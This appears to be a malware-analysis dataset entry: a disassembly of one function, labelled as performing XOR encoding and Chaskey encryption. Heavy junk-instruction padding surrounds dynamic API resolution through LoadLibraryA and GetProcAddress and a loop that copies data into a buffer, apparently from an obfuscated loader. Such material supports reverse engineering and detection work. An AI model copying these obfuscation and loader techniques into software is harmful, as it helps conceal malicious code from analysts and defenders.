Function at 0x4025a0
Capabilities:
Encode data using xor
Encrypt data using chaskey

Disassembly:
sub esp, 0x10
xor eax, eax
push ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
sar bl, 0x13
inc cx
or bx, 0x17
neg eax
ror bl, 0xa
or eax, 1
xor ebx, 0x69
mov bl, bl
and eax, ecx
sar cl, 0x1a
rol eax, 0x1a
add bx, 0x17
and ax, bx
sar bl, 0x10
xor eax, 0xb5
and bl, 0x19
add bx, ax
neg eax
ror bx, 0x19
rol eax, 9
not bx
neg bx
and cx, 0x18
not bl
nop
sar ebx, 0x1c
or ecx, 0x16
shl al, 0xb
sar bx, 0xb
neg al
mov ebx, ebx
sar ax, 0xc
not bx
ror ecx, 0x11
or ebx, 7
rol al, 0x1c
xor eax, ecx
dec eax
rol eax, 0xe
or eax, 0
rol ebx, 0x1e
and bl, 1
dec cx
or bx, 0x1b
shl cx, 0x10
add eax, 0x109
dec cl
inc bl
add al, 0
add ebx, 0
ror eax, 0x1d
mov bx, bx
and eax, 0xf
inc bl
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0x96
call fcn.00401b30
add esp, 0xc
test al, al
je 0x402d1e
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push edi
mov dword [esp + 0x1c], 0x96
mov edi, edi
dec ax
xor bl, 0x38
shl cx, 0x18
ror bl, 7
add eax, 0
and bx, 0xffff
sub eax, ebx
and eax, ecx
not cx
shl eax, 0xb
inc bx
sub bx, 0x22
neg al
mov ebx, ebx
shl bl, 0x1b
add bl, 0xd8
or cl, al
xor bx, 0xd7
neg bl
add ebx, 0
shl ecx, 0xb
or cl, 0x1b
ror al, 0xa
not bx
dec bl
or ax, 0xb
neg bx
sub bx, 0x21
not ax
sub cx, bx
xor ecx, 0x5c
inc ax
shl cl, 0x10
rol ecx, 0xd
sar cx, 0x10
xor bx, ax
neg ebx
sar eax, 4
nop
rol bl, 5
sub eax, ebx
ror eax, 0x16
inc ecx
not ebx
neg eax
xor ax, cx
not cl
rol bl, 0x10
neg bl
add eax, ebx
sub ebx, 0x25
neg al
or bx, 0x1e
not ebx
and bx, ax
shl bx, 6
sar al, 0x11
sub bx, 0x1c
xor eax, 0x8b
neg bl
nop
mov bx, bx
neg cx
sar eax, 1
not cx
or bl, 7
add bl, 0
inc ebx
mov edx, dword [esp + 0x10]
add dword [0x40e370], edx
shl ecx, 0x13
or al, 0
and bl, 0xff
add ax, bx
xor bl, 5
rol ax, 0x19
inc cx
and ecx, 0x15
neg al
rol bx, 0xc
not ebx
xor eax, ecx
neg eax
dec bl
shl bx, 0x18
xor al, cl
or ecx, 0
shl eax, 0xa
sar cx, 2
shl cx, 0xc
neg ecx
sar eax, 1
add cx, 0x58
sub bx, cx
nop
sub bl, 0xc6
inc ebx
shl ax, 0x15
ror cx, 0x19
and eax, ebx
not eax
and cl, 0x18
sar eax, 1
mov ecx, ecx
sar bl, 0x14
ror al, 0x1e
inc ecx
sar cl, 5
ror eax, 0x10
rol cx, 7
ror eax, 0xa
or bl, cl
and cl, al
not bx
ror ax, 6
shl al, 2
add cl, 0x9c
ror ecx, 0x1b
neg al
shl cx, 0x10
sub ax, 0
mov bl, bl
ror al, 0x19
or bl, al
and ecx, 0xf
dec ax
sub cx, bx
shl bl, 7
or bl, 0x11
and eax, 0xffffffff
and cl, 0xff
shl bx, 0x14
and eax, 0x1e
mov bx, bx
neg ax
rol eax, 9
neg bx
or eax, ecx
dec ebx
and eax, 0x1b
xor al, 0x3e
ror ebx, 0xc
dec bx
shl al, 8
neg ebx
or al, 6
not cx
shl bl, 0x14
add bl, al
inc ax
shl eax, 0xd
shl cx, 1
and bl, cl
xor bx, 0xbc
sub cl, 0x1d
dec bl
ror ecx, 4
mov ebx, dword [0x40e370]
mov edi, dword [0x40e36c]
push section..data
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push 0x40d21c
push esi
call ebp
push 0x40d240
push esi
mov dword [0x40e024], eax
call ebp
push 0x40d264
push esi
mov dword [0x40e34c], eax
call ebp
mov dword [0x40e2f4], eax
push ebx
test edi, edi
je 0x402888
push edi
push 0
call eax
push eax
call dword [0x40e34c]
jmp 0x402893
push 0
call eax
push eax
call dword [0x40e024]
mov dword [0x40e36c], eax
and bl, 0xa
not cx
dec bl
rol cl, 7
shl bl, 0x12
sub ebx, eax
shl eax, 1
and bx, 0xffff
and eax, 0x1e
rol ecx, 9
shl ebx, 0xe
xor ecx, 0x42
sub al, 0x3a
inc cl
neg eax
not cl
neg bx
not ecx
and bl, cl
shl cl, 0xc
neg bx
xor cx, bx
or bx, ax
not al
sub bx, 0
add cl, 0
rol bl, 5
inc cl
or bl, 0x15
shl al, 0x13
or eax, ecx
sar bx, 0xb
shl bx, 0xf
or ax, cx
sar eax, 0xd
and al, 0x19
xor eax, 0xf
not cl
neg bx
inc bl
and al, 0xff
shl ebx, 0x12
sub bl, 0
sub cx, ax
shl bl, 4
neg ax
shl bl, 7
xor bx, ax
sar bl, 1
xor cl, 0xf5
inc eax
ror eax, 0x13
dec bx
ror ebx, 0x16
xor bl, al
mov edi, dword [esp + 0x10]
xor edx, edx
test edi, edi
jbe 0x402b7a
lea ebx, [ebx]
sub bl, cl
dec bx
ror bl, 0x17
shl ax, 0x12
sub bl, 0x6c
ror cl, 0x13
add bx, cx
dec al
neg ebx
shl ecx, 0xe
sar al, 0x1b
or bl, 0
rol bl, 0x19
ror ax, 7
shl bx, 1
ror eax, 0x19
rol bl, 0xb
not al
ror bl, 1
or eax, ebx
shl bx, 0xf
or ax, cx
not bx
sub bx, 0x91
not al
shl ebx, 0x1e
sar ecx, 0xa
sub bx, 0x9f
not ax
sub eax, 0x112
nop
shl ebx, 1
sub ecx, eax
xor eax, 0xc2
dec cx
xor eax, ecx
dec bx
sub eax, 0xf2
add al, bl
not eax
and ax, 0xffff
neg ebx
not eax
nop
neg bl
add cl, 0x1e
sar ax, 0xd
mov eax, dword [esp + 0x14]
mov cl, byte [edx + eax]
mov eax, dword [0x40e36c]
mov esi, dword [esp + 0x18]
mov byte [eax + esi], cl
and ebx, 7
nop
sub ebx, 0x90
dec ax
rol cx, 1
inc bx
shl ebx, 0x19
ror ecx, 0x13
sub ebx, ecx
dec bx
mov al, al
or bl, cl
not al
shl cx, 3
dec eax
mov bl, bl
xor cx, ax
rol ax, 0x1b
not cl
sub bx, 0x89
not ax
sar ecx, 1
or cl, 0
dec eax
shl ax, 0x1a
shl cx, 0x19
rol bl, 0x13
neg bl
xor al, bl
sar bl, 0xf
neg bx
shl ecx, 9
xor ebx, 0x3a
sar eax, 3
and bl, 8
rol ax, 0x1e
sub bx, 0
add cl, al
sub ecx, 0
not eax
mov bx, bx
inc bx
or al, cl
shl bx, 0x11
and ecx, 8
neg al
shl bx, 0x17
sub ax, 0xff
rol bx, 4
ror ebx, 0x13
or bx, 0xf
inc bl
shl cx, 3
dec bx
shl bl, 0x1a
or al, cl
dec bx
shl al, 0x11
add eax, 0xa8
mov cx, cx
nop
not ebx
sar bl, 0x11
xor bx, ax
dec cl
not bl
sar cl, 0x1c
or bx, 0
dec al
add bx, 0x19
sub ax, 0x98
rol cl, 0x1d
add ecx, 0
shl ax, 1
sub bl, cl
rol cx, 0xa
sub eax, 0x9b
nop
and eax, ebx
neg bx
inc esi
mov dword [esp + 0x18], esi
ror ax, 0xc
shl ebx, 0xa
not bx
and ebx, ecx
ror bx, 0x13
or bx, 0
xor bl, 0x2c
and bl, 0xff
and ax, 2
inc ecx
sar bx, 0x1b
or eax, ecx
shl ecx, 0x14
add ax, 0xe6
shl cx, 3
ror bl, 3
add al, bl
ror cx, 7
nop
shl bl, 0x12
neg ebx
and bx, ax
sar ebx, 0x1b
inc bx
neg ecx
shl cx, 0xe
ror bx, 0xd
or ebx, eax
sub bx, 4
rol bx, 0x1c
shl cl, 3
or ax, 0x11
inc cx
neg al
and bl, 0xf
ror eax, 0x1c
or ecx, ebx
shl bl, 0x19
ror bx, 2
sub al, bl
ror ecx, 1
sar bl, 1
or cl, 0
sub eax, 0
sub ecx, 0
shl ebx, 0x18
not al
ror cx, 0x14
rol eax, 0x14
xor cx, 0x89
mov ax, ax
or ax, 0x1e
ror eax, 0x17
neg ebx
or bl, 0x11
rol bl, 4
add cx, 0x72
shl bx, 0x1e
inc edx
cmp edx, edi
jb 0x402940
shl cx, 0x1b
and bl, 0x1c
sub cx, ax
add bl, 0xb6
sub al, bl
or eax, 2
shl al, 0x11
not cl
add al, bl
inc bl
add ecx, 0x15
xor ax, bx
add cx, 0x6e
rol ecx, 4
sar cl, 0x1d
shl bl, 4
add ebx, 0x91
inc eax
and bx, ax
sar bx, 0x1b
shl bl, 1
inc cl
or bx, 0
sub cx, bx
or eax, 0x10
xor cl, al
sub bx, 0
add cl, 0
dec bl
shl ax, 0xf
dec bx
shl ax, 0xf
dec cl
xor bx, 0x100
or eax, ecx
neg ebx
add eax, 0x38
rol bl, 0x12
xor cx, 0x8b
or bl, 0
inc eax
sar ebx, 0x1e
dec bx
ror eax, 0x15
not eax
xor bl, 0xc
sar al, 0x1b
inc bx
shl ebx, 0xb
or eax, ebx
inc eax
add bx, 0
dec bl
sar ebx, 0x11
dec bx
add ax, 0
shl eax, 5
inc cl
inc ax
add bx, cx
ror ax, 7
inc cl
xor eax, 0x29
add bx, cx
sar ecx, 0x18
or eax, ebx
add ebx, 0x18
neg eax
ror eax, 0x18
inc bx
xor ebx, 0x6c
shl eax, 6
nop
mov edx, dword [esp + 0x1c]
inc edx
mov dword [esp + 0x1c], edx
neg ebx
shl ecx, 4
not ax
inc eax
not ecx
add cl, 0x17
ror bx, 0xd
shl ebx, 8
not ax
shl cl, 0x16
add ax, cx
and ecx, 0xffffffff
sub cx, 0x8a
and ecx, 0xffffffff
shl bl, 8
dec cl
ror al, 0x17
mov bx, bx
or bx, ax
add ax, 0
rol bx, 0x17
sar bx, 0xe
add bx, 0xcd
inc cl
ror bl, 0x1a
shl bl, 0x1a
mov cl, cl
sub bl, 0
shl ax, 0x17
inc bl
and bx, ax
ror cl, 4
shl bx, 0x1e
add al, 0x7a
xor bx, 0x84
sub ax, bx
or ebx, 5
dec eax
rol bl, 0x1e
nop
or bl, 0
or bl, 0
shl bl, 0x16
or ebx, 0xc
inc bl
and eax, 1
inc bl
add eax, ebx
or cl, 0
not bl
neg ax
sub eax, 0
add bx, cx
sub ebx, ecx
nop
shl ecx, 0x1d
shl eax, 2
and bl, 0xff
and ecx, 0x10
shl bl, 0x11
sub bx, cx
inc bl
lea ecx, [esp + 0x10]
push ecx
lea eax, [esp + 0x18]
push eax
push edx
call fcn.00401b30
add esp, 0xc
test al, al
jne 0x402680
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret